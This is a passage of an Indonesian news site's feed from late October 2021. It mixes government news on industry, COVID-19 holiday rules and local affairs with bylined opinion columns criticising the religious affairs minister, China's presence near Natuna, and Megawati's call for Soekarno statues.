antar kementerian dan lembaga terkait sangat diperlukan," kata Menteri PUPR. (mth)

Kemenperin: Transformasi Digital Pacu Produktivitas Industri Mamin

Jakarta, FNN - Kementerian Perindustrian (Kemenperin) menyebutkan pemanfaatan teknologi industri 4.0 di sektor makanan dan minuman (mamin) telah memacu produktivitas menjadi lebih efisien dan berkualitas, sehingga meningkatkan daya saing industri tersebut. "Industri mamin terbukti menjadi salah satu sektor unggulan karena memiliki kinerja yang gemilang. Pada kuartal II tahun 2021, industri mamin berkontribusi sebesar 38,42 persen terhadap pertumbuhan PDB industri pengolahan nonmigas," kata Plt Direktur Jenderal Industri Agro Kemenperin Putu Juli Ardika melalui keterangannya yang diterima di Jakarta, Jumat. Pada acara "Business Forum Expo 2020 Dubai", ia menyebutkan kontribusi industri mamin di kuartal II 2021 tersebut, lebih tinggi dibanding sumbangsihnya pada 2019 yang mencapai 36,40 persen dan pada 2020 di angka 38,29 persen. "Kami sangat mengapresiasi atas capaian dari industri mamin ini karena di tengah hantaman yang cukup berat akibat dampak pandemi," ungkapnya melalui keterangan tertulis. Oleh karena itu, Kemenperin bertekad menjaga ketersediaan bahan baku bagi industri mamin agar mereka terus berproduksi sehingga dapat memenuhi kebutuhan pasar domestik dan ekspor. "Pemerintah juga telah memberikan sejumlah stimulus atau insentif kepada para pelaku industri agar bisa mempertahankan usahanya dan terus meningkatkan kinerja," lanjut Putu. Pada 2020, total nilai ekspor industri mamin sebesar 31,17 miliar dolar, lebih tinggi dibanding tahun 2019 yang mencapai 27,36 miliar dolar, dan pada semester I 2021 menembus 19,59 miliar dolar. "Ini membuktikan bahwa produk mamin Indonesia banyak diminati oleh konsumen global. Hal ini tidak terlepas juga dari penggunaan digitalisasi yang akhirnya menghasilkan produk-produk berkualitas dengan mampu memenuhi standar internasional," paparnya. Di samping itu, industri mamin mencatatkan realisasi investasi yang cukup signifikan senilai Rp50,48 triliun pada 2020 dan mencapai lebih dari Rp14 triliun pada kuartal II 2021. Investasi ini diyakini dapat memperkuat struktur manufaktur di dalam negeri, yang termasuk didukung melalui transfer teknologi. "Bahkan, dari peningkatan investasi ini, juga dapat menambah jumlah penyerapan tenaga kerja. Saat ini, sektor industri mamin telah menyerap tenaga kerja sebanyak 5,2 juta orang," tutur Putu. Artinya, industri mamin telah memberikan dampak yang luas bagi peningkatan kesejahteraan masyarakat. "Apalagi, industri mamin merupakan sektor usaha yang mendominasi di Tanah Air, terutama skala industri kecil dan menengah (IKM). Hal ini yang menjadi tumpuan bagi berputarnya roda ekonomi nasional," ujarnya. Lebih jauh, ia optimistis sesuai target dalam peta jalan Making Indonesia 4.0, industri mamin nasional bisa menjadi pemain utama di kawasan ASEAN. "Oleh karena itu, Kemenperin terus melakukan upaya-upaya strategis untuk mendorong peningkatan daya saing dan produktivitas industri mamin nasional agar mampu berkompetisi di tingkat global. Salah satu langkahnya adalah dengan mendorong penerapan teknologi industri 4.0 di sektor tersebut, mulai dari tahap desain produk hingga distribusi," katanya. (mth)

Cuti Bersama Dihapus untuk Hindari Covid19

Jakarta, FNN - Pemerintah memastikan kebijakan penghapusan cuti bersama pada akhir tahun diambil untuk melindungi masyarakat dan menghindari gelombang ketiga COVID-19 yang berpotensi terjadi pada libur panjang Natal dan Tahun Baru. “Pandemi COVID-19 belum hilang. Untuk itu, pemerintah mengambil langkah dan kebijakan ini agar potensi peningkatan mobilitas dan aktivitas menjelang momentum akhir tahun dan Natal 2021 tetap sejalan dengan upaya pengendalian pandemi,” kata Menteri Komunikasi dan Informatika Johnny G Plate pada Kamis melalui siaran pers. Johnny mengatakan pemerintah berharap masyarakat dapat memahami kebijakan tersebut dan mengimbau agar masyarakat tidak pulang kampung atau bepergian dengan tujuan yang tidak mendesak. Pemerintah telah memangkas cuti bersama 24 Desember 2021 yang tertuang dalam Surat Keputusan Bersama (SKB) Tiga Menteri Nomor 712/2021, Nomor 1/2021, Nomor 3/2021 soal Hari libur Nasional dan Cuti Bersama 2021. Pemerintah juga melarang ASN mengambil cuti pada momentum hari libur nasional melalui Surat Edaran (SE) Menteri PAN-RB Nomor 13/2021 tentang Pembatasan Kegiatan Bepergian ke Luar Daerah dan/atau Cuti Bagi ASN Selama Hari Libur Nasional Tahun 2021. "Kebijakan dilakukan untuk membatasi pergerakan orang yang lebih masif menjelang libur akhir tahun,” katanya. Pemerintah juga akan memperketat syarat perjalanan bagi masyarakat yang harus bepergian pada periode libur tersebut. Bagi yang bepergian dengan moda transportasi minimal harus sudah menerima vaksin dosis pertama. Untuk transportasi udara, penumpang harus memiliki syarat surat negatif PCR Test. Sementara untuk transportasi darat, penumpang harus negatif tes antigen. Pengetatan dan pengawasan protokol kesehatan juga dilakukan di sejumlah lokasi utama, seperti Gereja pada saat perayaan Natal, tempat perbelanjaan, dan destinasi wisata lokal. Aplikasi PeduliLindungi juga harus lebih dimaksimalkan di tempat-tempat umum untuk pengawasan dan tracing pada masyarakat. “Pemerintah berharap jalannya roda perekonomian tidak terganggu, supply bahan pokok tetap terjaga pada akhir tahun, dan aktivitas masyarakat tetap bisa berjalan,” kata Johnny. (sws, ant)

Yaqut Bukan Yakult

Oleh: Yusuf Blegur Bahkan, Yakult yang cuma berupa minuman kesehatan dengan rasa yogurt itu, begitu bermanfaat bagi yang mengonsumsinya. Selain enak rasanya, minuman yang sudah terkenal seantero Indonesia itu bisa didapat masyarakat dengan mudah dan dengan harga yang relatif murah. Setidaknya, meski cuma minuman kemasan sederhana, Yakult telah memberikan kontribusi bagi dunia kesehatan di Indonesia. Berbeda dengan Yaqut. Seorang Menteri Agama RI yang memiliki nama lengkap Yaqut Cholil Qoumas, mantan Ketua Umum Banser itu, sejak menjadi menteri agama RI kerapkali membuat pernyataan kontroversi. Bukan hanya menimbulkan keresahan. Yaqut juga menuai kecaman dan gugatan dari publik. Terutama dari kalangan umat, tokoh dan pemimpin-pemimpin Islam. Lontarannya dianggap sering merendahkan umat dan agama Islam. Sebagai seorang menteri agama di negara yang mayoritasnya beragama Islam. Yaqut yang muslim sudah seharusnya mengayomi kehidupan umat beragama, terlebih kepada umat Islam. Ia sudah sepantasnya bisa membangun keselarasan dan keharmonisan antar umat beragama serta keleluasaan umat menjalani kehidupan keagamaannya masing-masing. Namun Yaqut selama menjadi menteri agama. Lebih dikenal sebagai pejabat yang suka mengumbar sikap yang terkesan antipati terhadap agama Islam. Tak cuma diskriminasi dan politisasi, ia gencar mereduksi Islam. Sebagian besar masyarakat mengecap Yaqut cenderung anti Islam. Berikut beberapa kebijakan dan sikapnya Yaqut yang tidak mencerminkan kelayakan seorang pemimpin agama dan umat. Yaqut mungkin satu-satunya menteri agama yang pernah ada menghabiskan dana fantastis sebesar 21 miliar hanya untuk sekedar mengumumkan pembatalan pemberangkatan jamaah haji Indonesia. Yaqut pun menjadi menteri agama pertama yang merubah jadwal libur Peringatan Hari Besar Islam hingga dua kali. Yaqut juga ikut membenarkan bahwa semua agama sama di hadapan Tuhan. Yaqut juga pernah secara terbuka menyampaikan ia tidak menginginkan populisme Islam berkembang luas. Yaqut jugalah salah satu pejabat yang kekayaannya bertambah saat kehidupan rakyat tercekik karena pandemi. Yaqut yang kader Nahdatul Ulama (NU), belakangan ini juga menuai reaksi keras dan luas dari rakyat. Akibat celotehannya soal kementerian agama merupakan hadiah buat NU, bukan untuk agama Islam. Sebuah narasi yang sangat berbahaya. Beresiko pada perpecahan dan potensi konflik antar agama dan sesama pemeluk agama. Serbuan Sekulerisasi dan Liberalisasi Islam Perilaku Yaqut yang konyol dan asal. Boleh jadi merupakan polarisasi dari NU yang terlhat semakin sekuler dan liberal. Meski tidak mewakili NU secara utuh. Para petinggi dan Kyai NU yang kultural dan struktural. Terasa nyaman dan menikmati dalam arus besar NU, saat ormas Islam itu mengusung dan menopang kekuasaan pemerintah. Wajah kekuasan yang menampilkan dua muka. Satunya kental kapitalistik, satunya lagi sarat anasir komunisme. Sepertinya NU dan pemerintah merupakan pasangan sejoli yang sedang memadu kasih. Yaqut seperti menjadi representasi dari NU sekaligus pemerintah yang kian hari semakin gandrung membatasi Islam dalam konteks keagamaan maupun eksistensi politik. Yaqut tak ubahnya menjadi anggota paduan suara dari grup kekuasaan yang menggeliat dan bersikeras membuat Deislamisasi. Bersama vokalis lainnya seperti ulama tak berjalan lurus, Ade Armando dan geng buzzerRpnya, para artis beriman kritis, serta para politisi haus duniawi. Islam di Indonesia mengalami musim-musim penistaan. Islam dirundung liberalisasi dan sekulerisasi. Pecat Yaqut Secepatnya Sebelum Yaqut melenceng lebih jauh dan perangainya berkembang menimbulkan masalah yang lebih serius. Ada baiknya pemerintah belajar dari kasus Ahok yang melecehkan surat Al-Maidah. Jangan sampai menimbulkan gejolak yang jauh lebih besar. Pemerintah harus segera mengambil langkah-langkah yang tepat dan tegas. Dalam waktu yang sesingkat-singkatnya. Tidak ada pilhan yang lebih baik selain mencopot jabatan Yaqut Cholil Qoumas sebagai menteri agama. Secepatnya dan sesegera mungkin. Ia terlanjur memiliki resistensi yang terlalu besar dan berpotensi memicu konflik keagamaan. Yaqut bisa menjadi triger dari perpecahan bangsa. Ia dapat merusak persatuan dan kesatuan nasional. Begitulah langkah bijak yang bisa diambil pemerintah. Terlebih jika pemerintah tidak mau disebut sebagai dalang dari semua politisasi dan kriminalisasi ulama dan umat Islam. Framing Islam yang stereotif berupa Islam intoleran, radikal dan fundamental. Bisa saja diarahkan ke pemerintah jika terus membiarkan orang semodel Yaqut masih memimpin kementerian agama. Semua sikap skeptis dan apriori umat Islam mungkin bisa terobati sedikit dengan tindakan tegas terhadap Yaqut. Kalau perlu tindakan hukum seperti yang banyak disuarakan tokoh dan pemimpin Islam. Pada akhirnya Rakyat khususnya umat Islam bisa menilai. Tampaknya bagaimanapun juga Yakult menjadi lebih baik dari seorang Yaqut. Bahwasanya, meski cuma minuman kesehatan. Yakult tidak diharamkan dan tidak merusak agidah umat Islam. Tidak seperti Yaqut. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Waspadai Pencaplokan Blok Migas Natuna Timur oleh China!

Oleh Marwan Batubara MASUKNYA kapal-kapal nelayan, survei dan kapal perang China ke Laut Natuna Utara dalam beberapa tahun terakhir tampaknya sudah biasa. Pada akhir Agustus hingga awal Oktober 2021 kapal China kembali muncul. Namun, beberapa pejabat pemerintah terkesan “memaklumi” kejadian yang melanggar teritori dan melecehkan kedaulatan ini. Tampaknya pemerintah mempunyai sikap khusus atas China, rakyat harap maklum dan dilarang protes. Padahal, di samping persoalan teritori dan kedaulatan, agresivitas China di Zona Ekonomi Eksklusif (ZEE) di Laut Natuna Utara juga menyangkut masalah SDA. Pencurian ikan sudah berlangsung lama. Kerugian NKRI ini akan bertambah besar jika cadangan migas Blok Natuna Timur (Blok NT, d/h: Natuna D-Alpha) dicaplok China. Di samping ingin mengamankan jalur sutra (ekonomi dan perdagangan), tampaknya China terus menarget penguasaan Blok NT. Kisruh soal Laut Natuna Utara sudah berlangsung lama. Klaim sepihak, \"unilateral claim”, China menyatakan wilayah tersebut sebagai “traditional fishing ground”. Hal ini diwujudkan dalam teritori “Nine Dash Line” (sembilan garis putus-putus) yang mencaplok sekitar 83.000 km2 wilayah yurisdiksi Indonesia (30% luas perairan Natuna), termasuk Blok NT. Klaim sepihak ini membuat China berseteru juga dengan Malaysia, Filipina dan Vietnam. Ternyata sebagai peserta UNCLOS 1982 (United Nations Convention on the Law of the Sea, Konvensi PBB tentang Hukum Laut) sejak 1996, China tidak menghormati hak berdaulat Indonesia. Aktivitas riset kapal asing di ZEE Indonesia merupakan tindakan ilegal jika dilakukan tanpa izin pemerintah Indonesia. Hal ini melanggar hak berdaulat seperti diatur dalam UNCLOS 1982 Pasal 56 ayat 1, Pasal 240, 244 dan 246, dan UU No.5/1983 Pasal 7 yang mengatur tentang kegiatan penelitian ilmiah di ZEE. Maka, Indonesia harus konsisten bersikap tegas: “unilateral claim” harus dilawan Indonesia dengan \"persistent objection”. Ternyata pada 3 insiden terakhir, sikap pemerintahan Jokowi tidak konsisten dan berubah semakin parah! Pada insiden pertama, kapal China “Kway Fey” yang masuk wilayah zona ekonomi eksklusif (ZEE) pada Maret 2016, disikapi wajar dan proporsional. Hal ini terlefleksi dengan gugatan berujung putusan arbitrase 2016 yang membatalkan klaim sepihak China. Pada insiden kedua, masuknya kapal nelayan dan Coast Guard China ke ZEE Natuna 19-24 Desember 2019 disikapi dengan tegas. Menlu Retno Marsudi menyatakan Indonesia tidak pernah akan mengakui nine dash line, klaim sepihak China yang tidak berdasar hukum dan UNCLOS 1982 (3/1/2020). Menko Polhukam M. Mahfud menegaskan tidak akan melakukan negosiasi dengan China, sebab perairan Natuna bukan kawasan konflik, tetapi sepenuhnya milik Indonesia (5/1/2020). Bahkan Presiden Jokowi menegaskan tak ada kompromi dalam mempertahankan kedaulatan Indonesia di perairan Natuna (4/1/2020). Pada insiden ketiga, sejak 30 Agustus 2021 hingga 20-an Oktober 2021 kapal China yang masuk adalah kapal riset Hai Yang Di Zhi 10, dikawal oleh Kapal Coast Guard Cina dengan nomor lambung CCG 4303 dan 4 kapal kapal perang. Berbeda dengan insiden pertama dan kedua, sikap pemerintah atas insiden ini sangat tidak jelas menunjukkan kedaulatan. Awalnya arogansi China ini disikapi Bakamla secara wajar dan proporsional. Namun TNI AL mengungkap tidak memperoleh informasi pelanggaran kapal riset China Hai Yang Di Zhi 10 yang mondar mandir selama satu bulan di kawasan Laut Natuna Utara. Dikatakan, sesuai informasi dari Komando Armada I, kapal China berada di luar yurisdiksi nasional. Juga, tidak seperti pada insiden kedua, penyataan resmi Menlu Retno Marsudi, Menko Mahfud MD dan Presiden Jokowi nyaris atau bahkan tak terdengar! Menko Marinves Luhut B. Panjaitan (LBP) saat berkunjung ke Catholic University, AS, ketika ditanya tentang kapal China ternyata juga tak bersikap tegas. Kata LBP: “Semua dokumen, semua hukum internasional telah tersedia – kami hanya menghormatinya. Kami berdiskusi dengan mitra kontak kami di China, kami setuju untuk tidak setuju di beberapa area, tetapi saya pikir kami mampu mengelola sejauh ini. Kami tidak merasa memiliki masalah dengan China” (11/10/2021). Dengan absennya sikap Menlu, Menko Polhukam dan Presiden Jokowi, serta tanggapan \"damai\" LBP di atas, Indonesia tampaknya cenderung mempertahankan status quo. Kedaulatan menjadi tidak penting. Tak heran jika kapal Haiyang Dizhi terus survei, dan dapat berulang di masa depan. Sikap pemerintah seperti ini bisa berujung dicaploknya Blok NT oleh China. Nilai Ekonomi Blok Migas Natuna Timur Blok NT menyimpan cadangan gas bruto sekitar 222 triliun kaki kubik (triliun cubic feet, TCF). Dengan kandungan karbon dioksida sekitar 72 persen, maka cadangan gas bersih Blok NT sekitar 46 TCF. Blok NT juga menyimpan cadangan minyak sekitar 500 juta barel. Secara ekonomi, jika diasumsikan harga gas adalah US$ 10 per MMBTU (million/juta British thermal unit), harga minyak US$ 75 per barel dan nilai tukar US$/Rp = 14.300, maka nilai ekonomi bruto gas Blok NT adalah: 46.000.000 MMCF x 1000/MMCF x $10 x 14.300 = Rp 6.576, 67 triliun. Sedangkan nilai bruto minyak: 500 juta x 75 x 14.300 = Rp 536,25 triliun. Sehingga nilai bruto migas Blok NT adalah: (6.576, 67 + 536,25) = Rp 7.112,91 triliun. Dengan laju ekstraksi terkendali rata-rata 2000 MMSCFD (Million Standard Cubic Feet per Day, atau Juta Standar Kaki Kubik per Hari), dan dialokasikan seluruhnya untuk kebutuhan domestik, maka Blok NT mampu memenuhi kebutuhan gas nasional antara 40-60 tahun. Melihat nilai ekonomi dan manfaat besar bagi energi nasional, sangat pantas jika pemerintah berupaya maksimal mempertahan serta segera mengembangkan Blok NT. Sebenarnya kontrak eksplorasi Blok NT telah ditandatangani dengan ExxonMobil pada 1980. Namun karena tidak tercapainya kesepakatan bagi hasil dan berbagai variable kerja sama, terutama karena besarnya biaya pemisahan CO2 dan lokasi yang jauh dari konsumen, kontrak gagal berlanjut ke pengembangan. Kerja sama dengan ExxonMobil berakhir 2006. Blok NT harusnya dikembangkan tidak hanya berdasar analisis aspek eknomi-keuangan, untung rugi (cost-benefit analysis, CBA) seperti berlaku umum. Tetapi harus pula memperhitungkan aspek-aspek lain seperti sosial-politik, lingkungan, keberlanjutan, hankam dan geo-politik. Sehingga keputusan pengembangan diambil setelah melalui analisis multi-kriteria (multi-criteria decision analysis, MCDA) terhadap seluruh aspek terkait. Guna mengatasi kendala tekno-ekonomi (CO2 tinggi dan lapangan remote), maka pengembangan Blok NT perlu menerapkan skema kontrak dan bagi hasil khusus, keringanan bea masuk dan tax holiday. Selain itu, guna memenuhi prinsip pengelolaan SDA berkelanjutan dan berkeadilan antar-generasi, maka perlu pula diterapkan pola dana migas (petroleum funds, PF), terutama agar proyek layak dikembangkan. Pengembangan Blok NT sangat relevan dan mendesak pula memperhatikan aspek hankam dan geo-politik kawasan Asia-Pasifik. Agresifitas China di perairan Natuna, termasuk target mencaplok Blok NT harus ditangkal. Salah satu cara, melalui kerja sama pengembangan Blok NT dengan perusahaan migas Eropa dan/atau Amerika. Kerja sama harus tetap berpegang pada prinsip kesetaraan dan politik luar negeri bebas-aktif. Seluruh anak bangsa harus berjuang mempertahankan Blok NT dan kedaulatan NKRI, termasuk melawan para oknum pejabat dan oligarki yang bekerja menjadi “pemain pengganti”, proxy, bagi China.[] *) Direktur Eksekutif IRESS

Megawati: Tidak Ada Niat Patung Soekarno Disembah

Jakarta, FNN - Ketua Umum PDIP Megawati Soekarnoputri memberi penjelasan mengapa ia meminta para kadernya untuk memperbanyak patung Soekarno di berbagai daerah. Menurunya, patung adalah bentuk pengenalan fisik terhadap tokoh nasional. Bahkan, tak hanya Soekarno, pahlawan yang lain sebaiknya dibuatkan patung agar generasi mudah tahu sejarah. Megawati juga menyinggung ada kelompok Islam yang menentang pembentukan patung. Sebab, pembuatan patung sering diasosiasikan sebagai bentuk penyembahan. "Ada yang mengatakan kalau Islam garis keras tidak boleh (patung), takut didewakan atau disembah, tidak ada niat seperti itu," kata Megawati saat memberi sambutan di peresmian kantor PDIP dan patung Bung Karno secara virtual, Kamis (28/10). "Hanya sebuah pengenalan dari sosok pahlawan," lanjut dia. Megawati menjelaskan, patung merupakan representasi fisik dari pahlawan agar mereka dikenal oleh masyarakat. Ia mengatakan, jika memungkinkan seluruh pahlawan harusnya diwujudkan dalam bentuk fisik. "Kalau bisa seluruh pahlawan bangsa, harusnya diwujudkan dalam bentuk fisik, sosok. Mana anak muda masih mengetahui? Saya saja kalau tidak diberitahu ayah saya seperti apa sosok Pattimura, saya tidak tahu," kata dia. Inilah alasannya, kata Megawati, banyak patung Bung Karno bermunculan di berbagai daerah. "Itulah maksud mengapa mulai makin banyak yang namanya sosok dari Bung Karno pendiri bangsa ini," jelas Megawati. Kepada para kader PDIP, Megawati meminta mereka untuk membangun patung Bung Karno. Sebab, Bung Karno adalah sosok proklamator, bapak bangsa dan sudah diberi gelar pahlawan nasional. "Kalau memungkinkan, tentu tidak perlu terburu-buru, bikinlah di setiap daerah patung beliau. Mau tidak mau, suka tidak suka, beliau adalah proklamator kita, Bapak Bangsa," kata Megawati. (sws, ant)

Berhala Soekarno

By M Rizal Fadillah INSTRUKSI Megawati kepada kadernya agar di setiap daerah dibuat patung Soekarno bukan hal yang bagus, bahkan kontroversial dan bakal banyak penentangan. Dinilai berlebihan dan keluar dari proporsi sebuah penghormatan. Kultus individu merupakan esensi dari keberhalaan. Berhala baru itu bernama Soekarno. Alih-alih bangsa akan menghormati sesuatu yang berlebihan bahkan bisa sebaliknya yaitu menghinakan. Jika ada dimana-mana artinya barang obralan, murahan. Sadarkah Megawati akan aspek psikologis seperti ini ? Jika dibuat di kantor PDIP mungkin masih wajar, tetapi jika membuat banyak di luar area internal kepartaian maka menjadi tidak wajar. Menghargai Soekarno sebagai Proklamator bukan dengan membuat patung tetapi memaknai spirit perjuangannya yang hebat dan berkobar-kobar. Kekeliruan pandangan dan instruksi dari Ketum PDIP Megawati untuk membuat patung Soekarno dimana-mana itu adalah : Pertama, Proklamator itu bukan hanya Soekarno sendirian tetapi dengan Moh Hatta. Jika alasan sebagaimana dikemukakan Mega untuk menghormati dan mengenal Proklamator, maka patung itu semestinya adalah Soekarno bersama Moh Hatta. Tentu Mega atau kader akan berkeberatan karena yang dikehendaki adalah tampilan Soekarno seorang. Kedua, sebagaimana singgungan Megawati soal umat Islam, meski dengan tendensius menyebut umat Islam garis keras, masih banyak di kalangan umat yang memahami bahwa pembudayaan patung adalah di luar ajaran Islam. Bisa mengganggu keimanan dan pencitraan relijiusitas bangsa. Tak ada hubungan dengan keras atau lunak karena banyak dalil untuk itu. Ketiga, Soekarno bukan lah tokoh sempurna, sehingga jika dikultuskan, maka kelak mungkin akan ada buka-bukaan atas cacat-cacat Soekarno, baik soal perempuan, diktatorial, kedekatan dengan PKI, permusuhan dengan ulama, atau lainnya. Artinya menjadi boomerang. Keempat, mengingatkan kedekatan Soekarno dengan komunis akan menimbulkan sikap antipati dan perlawanan dari umat Islam dan TNI. Ada luka dan kejengkelan sejarah yang dibangkitkan kembali melalui patung Soekarno yang ada dimana-mana tersebut. Kelima, persoalan politik itu fluktuatif. Kini PDIP adalah pemenang lalu Megawati bisa berbuat leluasa untuk menyosialisasikan dan menampilkan figur Soekarno dalam bentuk patung. Namun jika nyatanya PDIP kalah dan tidak berkuasa, dimungkinkan terjadinya penghancuran patung Soekarno dimana-mana. Dan hal ini dapat membuat dada menjadi sesak. Jadi instruksi Megawati mesti dievaluasi realisasinya karena dapat menjadi kontra-produktif. Penghormatan lebih efektif dilakukan melalui pemberian pelajaran sejarah pada generasi muda dengan baik dan konstruktif, jujur dan tidak manipulatif. Benar bahwa Soekarno adalah Proklamator akan tetapi juga seorang Diktator. *) Analis Politik dan Kebangsaan

Pemkab Morowali Utara Bantu Pembangunan Rumah Ibadah Semua Agama

Morowali Utara, FNN - Pemerintah Kabupaten Morowali Utara, Provinsi Sulawesi Tengah (Sulteng) berkomitmen membantu pembangunan rumah ibadah semua umat agama guna memperkuat semangat toleransi beragama oleh masyarakat di daerah itu. Bupati Morowali Utara Delis Julkarson Hehi mengharapkan melalui bantuan pemkab itu, rumah ibadah yang dibangun memiliki fasilitas yang memadai dan nyaman digunakan beribadah oleh pemeluknya sehingga mereka memiliki kesehatan rohani. "Masyarakat sehat yang kita harapkan nanti, bukan hanya sehat jasmaninya tetapi sehat juga rohaninya. Masyarakat cerdas yang ingin kita wujudkan bukan hanya cerdas intelektual, tetapi juga cerdas spiritualnya," katanya di sela-sela menyerahkan bantuan pembangunan pura bagi umat Hindu di Desa Tambarobone, Kecamatan Mamosalato, Kamis (28/10). Upaya tersebut, lanjutnya, juga dalam rangka mewujudkan visi dan misi Pemkab Morowali Utara, yakni mewujudkan masyarakat yang sehat, cerdas, dan sejahtera. "Untuk mewujudkan masyarakat yang sehat, cerdas dan sejahtera membutuhkan doa semua umat beragama. Makanya kami berkomitmen membantu pembangunan rumah ibadah semua agama agar umat beragama dapat beribadah dan berdoa dengan khusyuk," ujarnya. Ia optimistis langkah tersebut semakin mempererat kerukunan dan menjaga keharmonisan antarumat beragama di daerah itu. "Sehingga dari situ target agar taraf hidup masyarakat dan pendapatan daerah meningkat dapat terwujud dengan cepat," katanya. (sws, ant)

Mahasiswa dan Pelajar di Luar Negeri Harus Bisa Perkuat Diplomasi

Jakarta, FNN - Organisasi Perhimpunan Pelajar Indonesia (PPI) yang menaungi pelajar dan mahasiswa Tanah Air yang tengah menempuh pendidikan di luar negeri, diharapkan dapat berkontribusi dalam penguatan diplomasi antarmasyarakat di berbagai negara. Menurut pernyataan tertulis Kedutaan Besar RI di Canberra yang diterima di Jakarta, Kamis (28/10), hal itu dikatakan oleh Duta Besar RI untuk Australia dan Vanuatu Kristiarto S. Legowo dalam pelantikan pengurus PPI Dunia periode 2021-2022, bertepatan dengan peringatan Hari Sumpah Pemuda pada 28 Oktober 2021. “Memperkuat misi people-to-people diplomacy juga merupakan bagian dari kontribusi bagi negara, karena hubungan baik antardua negara tidak hanya bergantung pada hubungan antarpemerintah tapi juga hubungan antarmasyarakatnya,” kata Dubes Kristiarto. Menurut dia, pelajar dan mahasiswa Indonesia yang sedang menuntut ilmu di luar negeri merupakan aset penting dalam penguatan hubungan Indonesia dengan negara mitra. Hubungan antarmasyarakat turut memainkan peran penting dalam hubungan antarnegara, bersamaan dengan hubungan antarpemerintah dan antarentitas bisnis. Ia mengatakan para mahasiswa yang menuntut ilmu di luar negeri mendapatkan kesempatan terbaik untuk menempuh pendidikan, sehingga mereka diharapkan dapat berkontribusi bagi bangsa dan negara. Dia mengajak para pemimpin PPI seluruh dunia untuk meneladani perjuangan para pemuda terdahulu untuk mempersatukan tanah air, bangsa, dan bahasa di Indonesia. “Kita ingat pada awal tahun 1900-an, para pemuda dan pelajar berjuang agar suku-suku yang ada di Nusantara, dari Sabang sampai Merauke, mau bersatu, mau mengikatkan diri pada tumpah darah yang satu, mau mengikrarkan diri sebagai bangsa yang satu, dan mau menjunjung tinggi bahasa yang satu yaitu Indonesia,” ujarnya. Dia menambahkan bahwa karena kontribusi dan semangat perjuangan pemuda saat itu, maka Indonesia dapat terbebas dari cengkeraman penjajah, sedangkan hasilnya dapat dinikmati di masa kini. Ia berharap, para pemuda dapat mencerminkan nilai-nilai yang sama dalam mendorong kemajuan bangsa dan negara di sela-sela kegiatan studinya. (sws, ant)

Hamdan Zoelva Minta Pemerintah Evaluasi Impor Alat Kesehatan

Jakarta, FNN - Wakil Ketua Dewan Pertimbangan Majelis Ulama Indonesia (MUI) Hamdan Zoelva meminta pemerintah mengkaji ulang impor alat kesehatan. "Kalau pemerintah memiliki 'political will' yang kuat, harusnya alkes seperti alat swab antigen dan alat PCR ini tidak perlu impor, karena alkes impor itu harganya sangat mahal," kata Hamdan Zoelva saat menghadiri perayaan Maulid Nabi Muhammad SAW 1443 Hijriah/2021 yang diselenggarakan PT Taishan Alkes Indonesia, Jakarta, Kamis. Oleh karena itu, dirinya mendorong pemerintah untuk komitmen dalam penggunaan alat kesehatan produk dalam negeri. Mantan Ketua Mahkamah Konstitusi (MK) ini berharap pemerintah membatasi masuknya produk-produk alkes impor. Seharusnya, lanjut dia, pemerintah lebih mengutamakan produsen alkes dalam negeri yang harganya jauh lebih murah dan kualitasnya sangat baik serta telah memiliki sertifikat halal. "Pemerintah harus meninjau ulang kebijakan mengenai alat swab antigen dan alat PCR impor yang banyak beredar sekarang ini. Saya khawatir ke depannya ini akan menjadi persoalan hukum, karena dianggap mencari keuntungan atau sengaja ada permainan soal harga alkes," kata Hamdan Zoelva dalam siaran persnya. Ia mencontohkan harga alat swab antigen yang dipublish PT Taishan Alkes Indonesia sebesar Rp 30 ribu, sementara harga yang ditetapkan pemerintah untuk alat swab antigen sebesar Rp 55 ribu. "Ini dari pabrik lokal dalam negeri seperti PT Taishan saja harganya lebih murah dibanding yang ditetapkan oleh pemerintah. Malah saya yakin PT Taishan bisa tekan lagi harganya Rp 25 ribu sampai Rp 20 ribu. Bahkan alkes lokal ini sudah dapat sertifikat halal. Tapi koq yang banyak beredar justru alkes impor yang harganya dua kali lipat. Saya tidak tahu lagi berapa itu untungnya dari alkes impor ini," katanya. Dengan kondisi pandemi COVID-19 ini, pemerintah wajib melindungi masyarakat sekaligus meningkatkan perekonomian Indonesia. "Tidak elok dalam kondisi sulit seperti ini produk impor terlalu diistimewakan. Kalau ada yang lebih murah, kenapa pilih yang mahal dan impor. Jika memang punya 'political will' dan ingin membangkitkan ekonomi, produk-produk alkes dalam negeri harusnya menjadi prioritas karena ini nantinya akan berdampak pada pemulihan ekonomi terutama penyerapan tenaga kerja di Indonesia," paparnya. Keuntungan menggunakan produk alkes dalam negeri, kata Hamdan Zoelva, salah satunya akan menyerap tenaga kerja Indonesia ketimbang membeli produk impor. "Kalau impor kan terima jadi, pabrik bukan di dalam negeri. Yang kerja bukan masyarakat Indonesia, uang lari keluar negeri juga. Saya tidak habis pikir soal alkes impor ini. Makanya saya minta pemerintah harus tinjau ulang deh impor alkes ini. Jangan sampai kita jadi bangsa yang tamak," kata Hamdan Zoelva. (sws, ant)

Pemkot Denpasar Antisipasi Lonjakan Kasus COVID-19

Denpasar, FNN - Pemerintah Kota Denpasar, Bali melakukan strategi penanganan COVID-19 guna mengantisipasi penularan gelombang ketiga setelah dibuka kembali sektor pariwisata untuk pelancong Nusantara dan mancanegara di "Pulau Dewata". "Penanganan yang dilakukan saat ini terhadap masyarakat dengan menggencarkan vaksinasi tahap kedua. Termasuk juga pengawasan ketat protokol kesehatan pada fasilitas umum dan objek-objek wisata, termasuk juga restoran dan hotel," kata Wali Kota Denpasar I Gusti Ngurah Jaya Negara di Denpasar, Kamis (28/10). Ia menjelaskan strategi penanganan kesehatan yang dianggap berhasil dalam penanganan COVID-19 di Kota Denpasar, yakni penanganan kasus berbasis desa dan kelurahan. Dia mengatakan langkah ini dilaksanakan guna menurunkan kasus COVID-19 dengan melibatkan Satgas COVID-19 tingkat dusun atau banjar sehingga pandemi ini bisa landai dan perekonomian bangkit dalam adaptasi kebiasaan baru. Ia mengatakan penanganan COVID-19 di Denpasar melalui pembangunan sinergitas dengan semangat konsep "Vasudaiva Khutumbhakam" (kita adalah semua bersaudara) mulai dari pemerintah, forkopimda, swasta, tokoh masyarakat, media, pemuka agama, desa adat, akademisi, dan organisasi kemasyarakatan guna mewujudkan Kota Denpasar tetap sehat dan produktif. Jaya Negara mengatakan semua fasilitas publik berupaya mengantisipasi agar tidak sampai ada gelombang ketiga kasus COVID-19 di Denpasar. Langkah yang dilakukan, kata dia, memperketat pemberlakuan protokol kesehatan. "Semua ruang publik wajib memasang aplikasi PeduliLindungi sehingga jika ada terindikasi kasus COVID-19 